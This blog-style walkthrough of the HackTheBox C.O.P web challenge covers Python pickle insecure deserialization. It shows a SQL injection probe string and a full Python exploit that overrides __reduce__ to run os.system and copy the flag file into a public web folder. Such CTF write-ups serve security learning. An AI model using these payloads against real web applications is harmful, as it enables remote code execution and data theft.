We covered the python pickle library and explained why it’s not secure any more. Additionally we demonstrated to exploit a web application implementing the pickle library along with SQL injection. This was part of HackTheBox C.O.P web challenge.
The C.O.P (Cult of Pickles) have started up a new web store to sell their merch. We believe that the funds are being used to carry out illicit pickle-based propaganda operations! Investigate the site and try and find a way into their operation!
Exploiting Insecure Deserialization in Python Pickle ; A CTF Walkthrough
In this challenge, I encountered a vulnerable web application endpoint:
bashCopyEdithttp://ip:port/product/view/1
The parameter 1
in the URL is injectable. I verified that by replacing it with a classic SQL injection payload like:
arduinoCopyEdit" OR "1"="1
This hinted at deeper underlying vulnerabilities, so I decided to inspect the challenge source code. That’s when I discovered that the application used Python’s pickle
module for serializing and deserializing user input , a major red flag.
What is Pickling in Python?
Python’s pickle
module is used to serialize (pickle) and deserialize (unpickle) Python object structures into and from byte streams.
- Pickling converts Python objects into a byte stream.
- Unpickling reconstructs those byte streams back into Python objects.
pythonCopyEditimport pickle
pickled_data = pickle.dumps(obj) # Serialization
original_obj = pickle.loads(pickled_data) # Deserialization
While pickle
is convenient, it’s extremely dangerous when used with untrusted input. The official Python documentation explicitly warns:
“It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never unpickle data received from an untrusted or unauthenticated source.“
Vulnerability: Insecure Unpickling
In this case, the web application unpickles data from untrusted sources, making it vulnerable to arbitrary code execution.
To exploit this, I leveraged Python’s special method __reduce__()
, which is used by the pickle
module to define how an object is serialized and deserialized. By overriding __reduce__
, I was able to craft a payload that executes system commands when the object is unpickled.
Exploit Code
Below is the exact Python exploit I used to generate the malicious payload:
pythonCopyEditimport sys
import base64
import pickle
import urllib.parse
import requests
import os
# Command to execute on the target machine
payload = "cp flag.txt application/static/."
# Malicious class with overridden __reduce__ method
class Exp:
def __reduce__(self):
return os.system, (payload,)
# Main function to generate the payload
if __name__ == "__main__":
pickled = pickle.dumps(Exp()) # Serialize the object
encoded = base64.b64encode(pickled).decode() # Base64 encode the payload
print(encoded)
What This Payload Does
Then I Base64-encode the payload so it can be safely delivered via URL or HTTP body.
The class Exp
defines a __reduce__
method that returns a tuple instructing pickle
to call os.system
with the given payload
.
In this case, the command: bashCopyEditcp flag.txt application/static/.
copies the flag.txt
file into a publicly accessible web directory.
The pickle.dumps()
function creates the binary payload.
Outcome
After submitting the payload, I was able to retrieve the flag.txt
file from the public-facing directory. This confirmed that I had achieved remote code execution through insecure deserialization.